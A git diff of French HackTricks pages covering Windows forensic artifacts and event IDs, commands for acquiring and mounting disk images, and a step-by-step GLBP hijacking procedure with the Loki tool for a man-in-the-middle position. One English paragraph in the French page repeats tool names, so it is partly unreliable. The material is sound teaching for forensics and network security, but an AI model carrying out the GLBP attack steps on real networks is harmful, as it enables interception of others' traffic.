Chaque clé-valeur contient un **horodatage** indiquant la dernière fois qu'elle a été modifiée.
|
||||
Chaque clé-valeur contient une **horodatage** indiquant la dernière fois qu'elle a été modifiée.
|
||||
|
||||
### SAM
|
||||
|
||||
Le fichier/base de registre **SAM** contient les **utilisateurs, groupes et mots de passe des utilisateurs** du système.
|
||||
Le fichier/hive **SAM** contient les **utilisateurs, groupes et mots de passe des utilisateurs** du système.
|
||||
|
||||
Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, la dernière tentative de connexion échouée, le compteur de connexion, la politique de mot de passe et la date de création du compte. Pour obtenir les **hashes**, vous avez également **besoin** du fichier/base de registre **SYSTEM**.
|
||||
Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, la dernière tentative de connexion échouée, le compteur de connexion, la politique de mot de passe et la date de création du compte. Pour obtenir les **hashes**, vous avez également **besoin** du fichier/hive **SYSTEM**.
|
||||
|
||||
### Entrées Intéressantes dans le Registre Windows
|
||||
### Entrées intéressantes dans le Registre Windows
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Programmes Exécutés
|
||||
## Programmes exécutés
|
||||
|
||||
### Processus de Base de Windows
|
||||
### Processus Windows de base
|
||||
|
||||
Dans [cet article](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d), vous pouvez en apprendre davantage sur les processus Windows courants pour détecter les comportements suspects.
|
||||
|
||||
### Applications Récentes Windows
|
||||
### Applications récentes Windows
|
||||
|
||||
Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, la **dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée.
|
||||
|
||||
### BAM (Modérateur d'Activité en Arrière-Plan)
|
||||
### BAM (Modérateur d'activité en arrière-plan)
|
||||
|
||||
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre).
|
||||
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et dans le chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre).
|
||||
|
||||
### Préchargement Windows
|
||||
|
||||
|
@ -299,9 +302,9 @@ Le préchargement est une technique qui permet à un ordinateur de **récupérer
|
|||
|
||||
Le préchargement Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10.
|
||||
|
||||
Le nom du fichier est créé sous la forme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné.
|
||||
Le nom de fichier est créé sous la forme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné.
|
||||
|
||||
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers préchargés**. Ce fichier contient des informations sur le **nombre d'exécutions**, les **dates** de l'exécution et les **fichiers** **ouverts** par le programme.
|
||||
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers préchargés**. Ce fichier contient des **informations sur le nombre d'exécutions**, les **dates** de l'exécution et les **fichiers** **ouverts** par le programme.
|
||||
|
||||
Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
|
@ -314,7 +317,7 @@ Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https:
|
|||
**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\
|
||||
Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages** **horaires** et les **horodatages**.
|
||||
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages horaires** et les **horodatages**.
|
||||
|
||||
Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
|
@ -340,7 +343,7 @@ Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dum
|
|||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Le **AppCompatCache**, également connu sous le nom de **ShimCache**, fait partie de la **Base de données de compatibilité des applications** développée par **Microsoft** pour résoudre les problèmes de compatibilité des applications. Ce composant système enregistre divers éléments de métadonnées de fichiers, qui incluent :
|
||||
Le **AppCompatCache**, également connu sous le nom de **ShimCache**, fait partie de la **Base de données de compatibilité des applications** développée par **Microsoft** pour résoudre les problèmes de compatibilité des applications. Ce composant système enregistre divers éléments de métadonnées de fichiers, qui comprennent :
|
||||
|
||||
- Chemin complet du fichier
|
||||
- Taille du fichier
|
||||
|
@ -359,7 +362,7 @@ Pour analyser les informations stockées, l'outil [**AppCompatCacheParser**](htt
|
|||
|
||||
### Amcache
|
||||
|
||||
Le fichier **Amcache.hve** est essentiellement une ruche de registre qui enregistre des détails sur les applications qui ont été exécutées sur un système. Il se trouve généralement à `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
Le fichier **Amcache.hve** est essentiellement une ruche de registre qui enregistre des détails sur les applications qui ont été exécutées sur un système. Il est généralement situé à `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Ce fichier est remarquable pour stocker des enregistrements de processus récemment exécutés, y compris les chemins vers les fichiers exécutables et leurs hachages SHA1. Ces informations sont inestimables pour suivre l'activité des applications sur un système.
|
||||
|
||||
|
@ -367,7 +370,7 @@ Pour extraire et analyser les données de **Amcache.hve**, l'outil [**AmcachePar
|
|||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Parmi les fichiers CSV générés, le fichier `Amcache_Unassociated file entries` est particulièrement remarquable en raison des informations détaillées qu'il fournit sur les entrées de fichiers non associées.
|
||||
Parmi les fichiers CSV générés, le fichier `Entrées de fichiers non associées Amcache` est particulièrement remarquable en raison des informations détaillées qu'il fournit sur les entrées de fichiers non associées.
|
||||
|
||||
Le fichier CSV le plus intéressant généré est le `Amcache_Unassociated file entries`.
|
||||
|
||||
|
@ -415,11 +418,11 @@ Ils peuvent être visualisés à partir de l'Observateur d'événements Windows
|
|||
|
||||
Les événements d'accès sont enregistrés dans le fichier de configuration de sécurité situé à `C:\Windows\System32\winevt\Security.evtx`. La taille de ce fichier est ajustable et lorsque sa capacité est atteinte, les événements plus anciens sont écrasés. Les événements enregistrés incluent les connexions et déconnexions d'utilisateurs, les actions des utilisateurs, les modifications des paramètres de sécurité, ainsi que l'accès aux fichiers, dossiers et ressources partagées.
|
||||
|
||||
### Principaux ID d'événements pour l'authentification des utilisateurs :
|
||||
### Principaux ID d'événement pour l'authentification utilisateur :
|
||||
|
||||
- **ID d'événement 4624** : Indique qu'un utilisateur s'est authentifié avec succès.
|
||||
- **ID d'événement 4625** : Signale un échec d'authentification.
|
||||
- **ID d'événements 4634/4647** : Représentent les événements de déconnexion d'utilisateurs.
|
||||
- **ID d'événements 4634/4647** : Représentent les événements de déconnexion d'utilisateur.
|
||||
- **ID d'événement 4672** : Indique une connexion avec des privilèges administratifs.
|
||||
|
||||
#### Sous-types dans l'ID d'événement 4634/4647 :
|
||||
|
@ -432,7 +435,7 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
|||
- **Déverrouillage (7)** : Écran déverrouillé avec un mot de passe.
|
||||
- **Réseau en clair (8)** : Transmission de mot de passe en clair, souvent depuis IIS.
|
||||
- **Nouvelles informations d'identification (9)** : Utilisation de différentes informations d'identification pour l'accès.
|
||||
- **Interactif à distance (10)** : Connexion à distance via le bureau à distance ou les services de terminal.
|
||||
- **Interactif à distance (10)** : Connexion à distance via bureau à distance ou services de terminal.
|
||||
- **Interactif mis en cache (11)** : Connexion avec des informations d'identification mises en cache sans contact avec le contrôleur de domaine.
|
||||
- **Interactif à distance mis en cache (12)** : Connexion à distance avec des informations d'identification mises en cache.
|
||||
- **Déverrouillage mis en cache (13)** : Déverrouillage avec des informations d'identification mises en cache.
|
||||
|
@ -440,8 +443,8 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
|||
#### Codes d'état et de sous-état pour l'ID d'événement 4625 :
|
||||
|
||||
- **0xC0000064** : Le nom d'utilisateur n'existe pas - pourrait indiquer une attaque d'énumération de noms d'utilisateur.
|
||||
- **0xC000006A** : Nom d'utilisateur correct mais mauvais mot de passe - Tentative de deviner ou de forcer le mot de passe.
|
||||
- **0xC0000234** : Compte utilisateur verrouillé - Peut suivre une attaque par force brute entraînant plusieurs échecs de connexion.
|
||||
- **0xC000006A** : Nom d'utilisateur correct mais mauvais mot de passe - Tentative de deviner ou de forcer un mot de passe.
|
||||
- **0xC0000234** : Compte utilisateur verrouillé - Peut suivre une attaque par force brute entraînant de multiples échecs de connexion.
|
||||
- **0xC0000072** : Compte désactivé - Tentatives non autorisées d'accéder à des comptes désactivés.
|
||||
- **0xC000006F** : Connexion en dehors des heures autorisées - Indique des tentatives d'accès en dehors des heures de connexion définies, un signe possible d'accès non autorisé.
|
||||
- **0xC0000070** : Violation des restrictions de poste de travail - Pourrait être une tentative de connexion depuis un emplacement non autorisé.
|
||||
|
@ -449,7 +452,7 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
|||
- **0xC0000071** : Mot de passe expiré - Tentatives de connexion avec des mots de passe obsolètes.
|
||||
- **0xC0000133** : Problèmes de synchronisation de l'heure - De grands écarts de temps entre le client et le serveur peuvent indiquer des attaques plus sophistiquées comme le pass-the-ticket.
|
||||
- **0xC0000224** : Changement de mot de passe obligatoire - Des changements obligatoires fréquents pourraient suggérer une tentative de déstabilisation de la sécurité du compte.
|
||||
- **0xC0000225** : Indique un bug système plutôt qu'un problème de sécurité.
|
||||
- **0xC0000225** : Indique un bogue système plutôt qu'un problème de sécurité.
|
||||
- **0xC000015b** : Type de connexion refusé - Tentative d'accès avec un type de connexion non autorisé, comme un utilisateur essayant d'exécuter une connexion de service.
|
||||
|
||||
#### ID d'événement 4616 :
|
||||
|
@ -459,41 +462,35 @@ Les événements d'accès sont enregistrés dans le fichier de configuration de
|
|||
- **Démarrage et arrêt du système** : L'ID d'événement 6005 indique le démarrage du système, tandis que l'ID d'événement 6006 marque son arrêt.
|
||||
|
||||
#### ID d'événement 1102 :
|
||||
- **Suppression de journal** : Les journaux de sécurité sont effacés, ce qui est souvent un indicateur pour dissimuler des activités illicites.
|
||||
- **Suppression de journal** : Les journaux de sécurité sont effacés, ce qui est souvent un indicateur de dissimulation d'activités illicites.
|
||||
|
||||
#### ID d'événements pour le suivi des périphériques USB :
|
||||
- **20001 / 20003 / 10000** : Première connexion du périphérique USB.
|
||||
- **10100** : Mise à jour du pilote USB.
|
||||
- **ID d'événement 112** : Heure d'insertion du périphérique USB.
|
||||
#### Événements de mise sous tension du système
|
||||
|
||||
Pour des exemples pratiques sur la simulation de ces types de connexion et les opportunités de récupération d'informations d'identification, consultez le guide détaillé d'Altered Security.
|
||||
L'EventID 6005 indique le démarrage du système, tandis que l'EventID 6006 marque l'arrêt.
|
||||
|
||||
Les détails des événements, y compris les codes d'état et de sous-état, fournissent des informations supplémentaires sur les causes des événements, particulièrement remarquables dans l'ID d'événement 4625.
|
||||
#### Suppression de journaux
|
||||
|
||||
### Récupération des événements Windows
|
||||
L'EventID 1102 de sécurité signale la suppression des journaux, un événement critique pour l'analyse forensique.
|
||||
|
||||
Pour augmenter les chances de récupérer des événements Windows supprimés, il est conseillé d'éteindre l'ordinateur suspect en le débranchant directement. **Bulk_extractor**, un outil de récupération spécifiant l'extension `.evtx`, est recommandé pour tenter de récupérer de tels événements.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Identification des attaques courantes via les événements Windows
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Pour un guide complet sur l'utilisation des ID d'événements Windows pour identifier les attaques cybernétiques courantes, consultez Red Team Recipe.
|
||||
|
||||
#### Attaques par force brute
|
||||
<details>
|
||||
|
||||
Identifiables par de multiples enregistrements d'ID d'événement 4625, suivis d'un ID d'événement 4624 si l'attaque réussit.
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
#### Changement d'heure
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
Enregistré par l'ID d'événement 4616, les changements d'heure système peuvent compliquer l'analyse forensique.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe [**Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
#### Suivi des périphériques USB
|
||||
|
||||
Les ID d'événements système utiles pour le suivi des périphériques USB incluent 20001/20003/10000 pour une utilisation initiale, 10100 pour les mises à jour des pilotes, et l'ID d'événement 112 de DeviceSetupManager pour les horodatages d'insertion.
|
||||
|
||||
#### Événements d'alimentation du système
|
||||
|
||||
L'ID d'événement 6005 indique le démarrage du système, tandis que l'ID d'événement 6006 marque l'arrêt.
|
||||
|
||||
#### Suppression de journal
|
||||
|
||||
L'ID d'événement de sécurité 1102 signale la suppression des journaux, un événement critique pour l'analyse forensique.
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,6 +12,10 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Acquisition
|
||||
|
||||
### DD
|
||||
|
@ -27,13 +31,13 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
|
|||
```
|
||||
### FTK Imager
|
||||
|
||||
Vous pouvez [**télécharger FTK Imager ici**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
Vous pouvez [**télécharger FTK Imager à partir d'ici**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
### EWF
|
||||
|
||||
Vous pouvez générer une image de disque en utilisant les [**outils ewf**](https://github.com/libyal/libewf).
|
||||
Vous pouvez générer une image disque en utilisant les [**outils ewf**](https://github.com/libyal/libewf).
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
|
@ -67,7 +71,17 @@ mount evidence.img /mnt
|
|||
```
|
||||
### EWF
|
||||
|
||||
### EWF
|
||||
#### Acquisition
|
||||
|
||||
The first step in the forensic process is to acquire the image. This can be done using various tools and methods, such as `dcfldd`, `dc3dd`, `dd`, `dcfldd`, `dc3dd`, `dd`, etc. One of the most common methods is to use the Expert Witness Format (EWF) to acquire the image. EWF is a file format that stores disk images, and it has become a standard in the forensic community.
|
||||
|
||||
To acquire an image using EWF, you can use the `ewfacquire` tool. This tool creates a series of 2GB "segment" files that store the image data. Once the acquisition is complete, you can then use the `ewfmount` tool to mount the EWF image and access its contents.
|
||||
|
||||
#### Mounting
|
||||
|
||||
Mounting the EWF image allows you to access the contents of the image without modifying the original data. This is useful for performing analysis and investigation on the image without altering any evidence.
|
||||
|
||||
To mount an EWF image, you can use the `ewfmount` tool. This tool creates a virtual disk device that represents the EWF image, allowing you to access its contents as if it were a physical disk. Once you have finished your analysis, you can unmount the image using the `ewfumount` tool.
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
|
@ -102,18 +116,22 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Notez que la taille du secteur est de **512** et le début est de **2048**. Ensuite, montez l'image comme ceci :
|
||||
Notez que la taille du secteur est de **512** et que le début est de **2048**. Ensuite, montez l'image comme ceci :
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,61 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Aperçu du Détournement FHRP
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Aperçu du détournement FHRP
|
||||
|
||||
### Informations sur FHRP
|
||||
FHRP est conçu pour fournir une robustesse réseau en fusionnant plusieurs routeurs en une seule unité virtuelle, améliorant ainsi la distribution de charge et la tolérance aux pannes. Cisco Systems a introduit des protocoles importants dans cette suite, tels que GLBP et HSRP.
|
||||
|
||||
### Informations sur le Protocole GLBP
|
||||
La création de Cisco, GLBP, fonctionne sur la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs dans un groupe GLBP échangent des paquets "hello" à des intervalles de 3 secondes. Si un routeur ne parvient pas à envoyer ces paquets pendant 10 secondes, il est présumé hors ligne. Cependant, ces temporisateurs ne sont pas fixes et peuvent être modifiés.
|
||||
### Informations sur le protocole GLBP
|
||||
La création de Cisco, GLBP, fonctionne sur la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs dans un groupe GLBP échangent des paquets "hello" à des intervalles de 3 secondes. Si un routeur ne parvient pas à envoyer ces paquets pendant 10 secondes, il est présumé hors ligne. Cependant, ces minuteries ne sont pas fixes et peuvent être modifiées.
|
||||
|
||||
### Opérations et Distribution de Charge GLBP
|
||||
### Opérations GLBP et distribution de charge
|
||||
GLBP se distingue en permettant la distribution de charge entre les routeurs en utilisant une seule adresse IP virtuelle couplée à plusieurs adresses MAC virtuelles. Dans un groupe GLBP, chaque routeur participe à la transmission des paquets. Contrairement à HSRP/VRRP, GLBP offre un véritable équilibrage de charge grâce à plusieurs mécanismes :
|
||||
|
||||
- **Équilibrage de Charge Dépendant de l'Hôte :** Maintient l'attribution d'adresse MAC AVF cohérente à un hôte, essentiel pour des configurations NAT stables.
|
||||
- **Équilibrage de Charge Round-Robin :** L'approche par défaut, alternant l'attribution d'adresse MAC AVF parmi les hôtes demandeurs.
|
||||
- **Équilibrage de Charge Pondéré Round-Robin :** Distribue la charge en fonction de métriques "Poids" prédéfinies.
|
||||
- **Équilibrage de charge dépendant de l'hôte :** Maintient l'attribution d'adresse MAC AVF cohérente à un hôte, essentiel pour des configurations NAT stables.
|
||||
- **Équilibrage de charge en round-robin :** L'approche par défaut, alternant l'attribution d'adresse MAC AVF parmi les hôtes demandeurs.
|
||||
- **Équilibrage de charge pondéré en round-robin :** Distribue la charge en fonction de métriques de "Poids" prédéfinies.
|
||||
|
||||
### Composants Clés et Terminologies dans GLBP
|
||||
- **AVG (Passerelle Virtuelle Active) :** Le routeur principal, responsable de l'attribution des adresses MAC aux routeurs pairs.
|
||||
- **AVF (Transmetteur Virtuel Actif) :** Un routeur désigné pour gérer le trafic réseau.
|
||||
### Composants clés et terminologies dans GLBP
|
||||
- **AVG (Passerelle virtuelle active) :** Le routeur principal, responsable de l'attribution des adresses MAC aux routeurs pairs.
|
||||
- **AVF (Transmetteur virtuel actif) :** Un routeur désigné pour gérer le trafic réseau.
|
||||
- **Priorité GLBP :** Une métrique qui détermine l'AVG, commençant par une valeur par défaut de 100 et allant de 1 à 255.
|
||||
- **Poids GLBP :** Reflète la charge actuelle sur un routeur, ajustable manuellement ou via le Suivi d'Objet.
|
||||
- **Adresse IP Virtuelle GLBP :** Sert de passerelle par défaut du réseau pour tous les appareils connectés.
|
||||
- **Poids GLBP :** Reflète la charge actuelle sur un routeur, ajustable manuellement ou via le suivi d'objets.
|
||||
- **Adresse IP virtuelle GLBP :** Sert de passerelle par défaut du réseau pour tous les appareils connectés.
|
||||
|
||||
Pour les interactions, GLBP utilise l'adresse multicast réservée 224.0.0.102 et le port UDP 3222. Les routeurs transmettent des paquets "hello" à des intervalles de 3 secondes et sont considérés comme non opérationnels si un paquet est manqué pendant une durée de 10 secondes.
|
||||
|
||||
### Mécanisme d'Attaque GLBP
|
||||
Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut entraîner des attaques de DoS ou MITM, permettant l'interception ou la redirection du trafic.
|
||||
### Mécanisme d'attaque GLBP
|
||||
Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut entraîner des attaques de déni de service ou de l'homme du milieu, permettant l'interception ou la redirection du trafic.
|
||||
|
||||
### Exécution d'une Attaque GLBP avec Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) peut effectuer une attaque GLBP en injectant un paquet avec une priorité et un poids définis à 255. Les étapes préalables à l'attaque impliquent la collecte d'informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité du routeur en utilisant des outils comme Wireshark.
|
||||
### Exécution d'une attaque GLBP avec Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) peut effectuer une attaque GLBP en injectant un paquet avec une priorité et un poids définis à 255. Les étapes préalables à l'attaque consistent à recueillir des informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité du routeur à l'aide d'outils comme Wireshark.
|
||||
|
||||
Étapes de l'Attaque :
|
||||
1. Passer en mode promiscuité et activer le transfert IP.
|
||||
Étapes de l'attaque :
|
||||
1. Passer en mode promiscuous et activer le transfert IP.
|
||||
2. Identifier le routeur cible et récupérer son IP.
|
||||
3. Générer une ARP Gratuite.
|
||||
3. Générer une ARP gratuit.
|
||||
4. Injecter un paquet GLBP malveillant, en se faisant passer pour l'AVG.
|
||||
5. Attribuer une adresse IP secondaire à l'interface réseau de l'attaquant, reflétant l'adresse IP virtuelle GLBP.
|
||||
6. Mettre en place SNAT pour une visibilité totale du trafic.
|
||||
7. Ajuster le routage pour garantir un accès internet continu via le routeur AVG d'origine.
|
||||
6. Mettre en œuvre SNAT pour une visibilité totale du trafic.
|
||||
7. Ajuster le routage pour garantir un accès continu à Internet via le routeur AVG d'origine.
|
||||
|
||||
En suivant ces étapes, l'attaquant se positionne en tant que "homme du milieu", capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles.
|
||||
En suivant ces étapes, l'attaquant se positionne en tant qu'"homme du milieu", capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles.
|
||||
|
||||
Pour une démonstration, voici les extraits de commandes requis:
|
||||
